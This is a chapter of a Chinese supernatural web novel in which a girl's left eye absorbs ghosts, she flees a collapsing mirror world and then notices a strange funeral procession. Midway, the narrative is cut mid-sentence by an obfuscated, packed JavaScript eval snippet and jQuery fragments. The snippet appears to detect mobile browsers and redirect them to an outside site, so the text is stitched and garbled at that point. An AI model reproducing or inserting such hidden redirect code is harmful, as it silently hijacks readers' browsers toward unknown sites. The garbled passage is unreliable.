安然睁开眼睛。
面前的姜慧让她忍不住往后退了好几步。
怎么回事...
许愿失败了?
这还能失败的...么?她家老头子不说那是第一只鬼么?!
难道...关太久战斗力不行了?
她这头还没搞清眼前状况,左眼便传来一阵撕裂般的疼痛。安然下意识捂住眼睛,踉跄着跪在了地上。
姜慧原本想要解释两句,见安然突然倒地,想都没想就要过去扶人,这一动竟然发现自己压根迈不开腿,一道时隐时现的锁链将她整个人束缚在了原地。透过指缝,她看见一道鲜红的掌印附着在了安然漆黑的瞳孔上,紧接着第二道,第三道第四道...无数血色手印无声哀嚎,它们交叉重叠,让原本漆黑的瞳孔转眼变成了不详的红色。
但这一切并没有停止,红色如潮水蔓延,没多久安然整个左眼便被红色占据。就在她以为那些血色掌印会冲破对方眼眶撕碎一切时,却听到了熟悉的铁链拖曳的声音,紧接着另一道气息从对方捂着眼睛的指缝中溢了出来。不同于之前单纯的压制与毁灭,这道气息令姜慧战栗的同时又带着如罂.粟般的致命吸引。
同样被震慑的还有那些血红的掌印,锁链响起的瞬间,它们便慌乱的如同遇见天敌的蝗虫,眨眼间便散了个彻底。但安然的瞳孔并没有恢复正常,而是从瘆人的红色变成了无尽的黑。
那是...
“黄泉路。”
这呢喃一出口,不止捂住眼睛的安然,就连姜慧自己也当场愣在了原地。这像是某种印刻在她灵魂上的感应,哪怕她从未见过,但还是能分辨出那是源自于本能的恐惧与敬畏独属于地府入口的气息。
姜慧下意识看向身后。
就见刚还在银色球体中悬浮的光点像是受到了某种牵引,它们从圆球的屏障中不断钻出,最后不受控制地朝着安然漆黑的眼眶飞去。
安然捂着眼睛的手不受控制挪开,眼睁睁看着那些光点没入自己的左眼然后消失不见。她知道自己该感到恐惧和不安的,但事实上并没有,除了一开始的些许疼痛外,说实在的,她现在并没有感到任何不适,倒觉得这原本就是自己该做的——送它们离开这里,去它们该去的地方。
随着光点的不断离开,原本巨大的银色球体也逐渐缩小,直到最后一个光点的消失,银球便只剩一人大小,除了那根类似某种动物的脊椎还在有自主意识似的游走于球体表面提醒着两人自己依旧活着以外,再看不出半点能恢复原状的样子。
但姜慧却像是感应到了什么,她的眼睛一瞬不错地看着那个圆球,脸上的不知所措渐渐褪去,眉间染上了一丝淡淡的笑意,随后那双含笑的眼睛看向安然,她的嘴唇动了动,无声地说出两个字:‘谢谢’。
安然瞳孔骤然一缩。
下一刻,姜慧的身形便开始淡化,眨眼的功夫,她便如之前那些扭曲的灵魂一样成了一个纯白的光点。唯一不同的是,她并不是自己飞向安然眼眶而是被一道暗金色手绳粗细的锁链拖曳着,直到没入左眼,一道清脆的破碎声响起,那道束缚才如被风吹散的细沙彻底散了个干净。
安然眼眶一热,眸
眸中黑色迅速褪去,顷刻便恢复成了之前的黑白分明。
眼前的一切发生的太快了,她有种自己还没来得及理清思绪所有一切就已经结束了的感觉。手指不自觉覆上左眼,心中隐隐有了点猜测。
“咔嚓——”
安然回头,就见一道裂痕凭空出现。
“咔嚓——”
又是一声脆响。
身体先思维一步做出了反应,大步向前跑了段距离,才猛地想起秦以淮还在后面。
但已经来不及了,如同被随意推倒的多米诺骨牌,身后空间开始不断被掉落的碎片吞噬,这会儿看过去哪儿还有半点儿秦以淮的身影。
安然抿唇,眼中的挣扎和崩坏的空间越来越近。
“喵——”
一声清晰的猫叫如炸雷般在她耳边想起,理智瞬间回笼,她不再犹豫,转身就跑,在被身后的破碎的空间追上之前看到了隐匿在黑暗中的熟悉的楼道......
*******
安然不知道自己是怎么回到家的。
倒在床上的时候,大脑仍旧一片空白,整个人像是被人牵着线的木偶。
秦以淮不见了。
瞿星瑶也不见了。
漆黑的楼道只有她一个,手上还拿着那根散着暗黄火苗的刻着她生辰的蜡烛。如果不是跟着她一起进来的两人都不见了,安然甚至以为之前在镜子里发生的种种不过是自己的梦境。
过去她不明白幸存者有什么好愧疚的,又不是造成灾难的罪魁祸首,不是该庆幸么?庆幸能会呼吸,能和家人团聚,还能看这世上的一花一木...可如今这顶‘幸运的王冠’掉在自己的头上,她才明白这东西究竟有多沉重。
也许自己骨子里就是个自私凉薄的人,否则下意识的行为就不会是逃跑而是去救人。
对秦以淮这样。
对丁筝也是这样。
不过...都没关系了。
过了今晚,也许用不着一晚...
安然拿出手机,盯着那个熟悉的号码看了很久,在屏幕熄灭之前按下了通话键。
没有人接听。
直到嘟嘟嘟的忙音消失,才扯过一边的被子蒙在了头上,灯没关,鞋子也懒得脱,她像个将头埋进沙子里的鸵鸟,眼泪在被窝朦胧的灰色里缓缓滑落......
“哥,我想你们了...”
**********
窗帘没拉,这会儿阳光透进窗户懒洋洋洒在地板上。
这一觉安然睡的昏昏沉沉。她觉得自己应该是睡了的,但又感觉好像睁着眼睛挺了一宿。
将开了一夜的灯关掉,弯腰拿出拖鞋换上,又将身上的校服全部褪去,裤子落在地板上发出沉闷中又带了点清脆的哐啷。
校服裤子的口袋里有枚铜镜还有一颗半圆形的黑色石子,铜镜是从老头子房间找到的那枚,那石子就眼生了,手感光滑,入手微凉,看上只是去比围棋里的黑子稍微饱满了一点。
安然拿在手上仔细端详了会儿,也没看出个所以然来,便随手将两样东西放在了课桌上。
这一觉虽然睡得不怎么样,但走出的理智这会儿已经回来了。对于自己能活着见到今早的太阳是有点意外的。毕竟她昨晚是真真切切许了愿,不同于上一次在湖面上时耍的那个小心机。
上一次,那东西问有没有愿望的时候,她耍了个心眼,说‘希望这个愿望能留到下一次。’
本是试探。
却没想到那东西只是在短暂的沉默后轻笑了一下,竟真的将她从那片水域里拉了出来,尽管呛了好几口水,但奏效了。
她那时以为对方没有再次诱惑自己许愿的机会。
但现在,她才意识到真正天真的人是她自己,让一个能招鬼却没有自保能力的人许愿太容易了,对方甚至不屑于用小手段逼迫自己,自己就会像那只被赶着走上绞架的鸭子,上赶着将自己的脖颈套上绞索。
她承认,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807466|170032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许愿的时候多少抱了点和镜子同归于尽的意思,有种自己一个人死实在有点亏,所以带上对方一起也算是造福人类的心态。
安然不知道对方究竟是怎么解决的麻烦,但从最后的结果来看,镜子显然已经被对方就解决了。
而对方到现在还没来索取报酬。
她并不因此感觉到庆幸,倒是有种山雨欲来的预感。如果那东西要的不是她的命...
只能说明一点。
它要的更多,甚至远远多于她的性命。
至于姜慧...
她下意识看向脚踝,上面光洁一片,什么都没有。
这个问题显然也被对方解决了。
安然指尖轻触左眼。
脑海浮现出白色光点没入自己眼睛的场景。
吞鬼...?
不对。
姜慧说的黄泉路...指的是自己的眼睛?
如果真是这样,那她也不是完全没有自保能力啊!
老头子...知道这事么?
她哥呢...
一想到这么些年,这两人一起瞒着自己,还放任她在质疑老头子行当的路上越走越远,就有种说不出的气闷,但其实更多的是不解和委屈。
为什么要瞒着她呢?
哪怕自己没有像他们一样自保的能力,但早点学习一些相关的知识也好啊,最起码不至于像现在这样两眼一抹黑,像个闯进高端局的菜鸟被那些东西吊着打!
想起这段时间自己几次差点没命,而这两个本来最该待在她身边的最亲的人却齐齐失联,安然就忍不住红了眼眶,泪珠在眼底打着转,断了线的珍珠似的不要钱的往下掉。
安然发狠般地擦了把脸上的泪痕,暗自下了决定,等这两人回来,要是给不了她一个正当合理的理由,她就离家出走!
这回要不是秦以淮...
她根本拖不到姜慧离开!
等等。
姜慧的执念是救出林异,而林异又和秦以淮成了一个无法分割的整体,那是不是意味着秦以淮其实并没有死?
她舔了舔因为水分缺失而微微翘起死皮的唇,这念头就像是雨后的甘霖灌溉在原本已经干瘪的希望上,长出了新的芽。
说到底是自己没能将人带出来...
安然垂下长而柔软的睫毛,连带的遮住了那双如黎明破晓般坚定而又清澈的眼。
总是要将人带出来的。
她抿了抿唇,将地上的脏衣服一件件捡起来扔进了衣篓。
捡到一半,一声唢呐奏起的哀乐由远及近顺着窗沿的缝隙传进了她的耳中。
杏花街虽说是白事一条街。
但这么些年在这儿办丧事的,今天还是头一遭。
安然觉得新鲜,靠近窗边往外瞄了一眼,只这一眼,她就察觉出了异样。
和她往常看到的送葬队伍不一样,加上最前头吹唢呐的男人一共才4个。
其次分别是捧着骨灰盒穿着孝服头戴宽大孝帽的孩子以及一对相互依偎着的夫妻。
男人拦着女人的肩膀,女人几乎依靠着男人才勉强支撑住自己的身体,怀里捧着黑白遗照,哭的不能自已。
街道两边的店主站在自己店铺门前,三两成群凑着一起,对着那四人指指点点,安然听不见他们说什么,但多少也能猜到一点。
虽说她对送葬禁忌一窍不通,但在清晨6点多就送葬的也是大姑娘嫁人---头一回了。
尤其这几人还是从街头走向街尾,要知道杏花街的街尾就只有她家这一间店铺!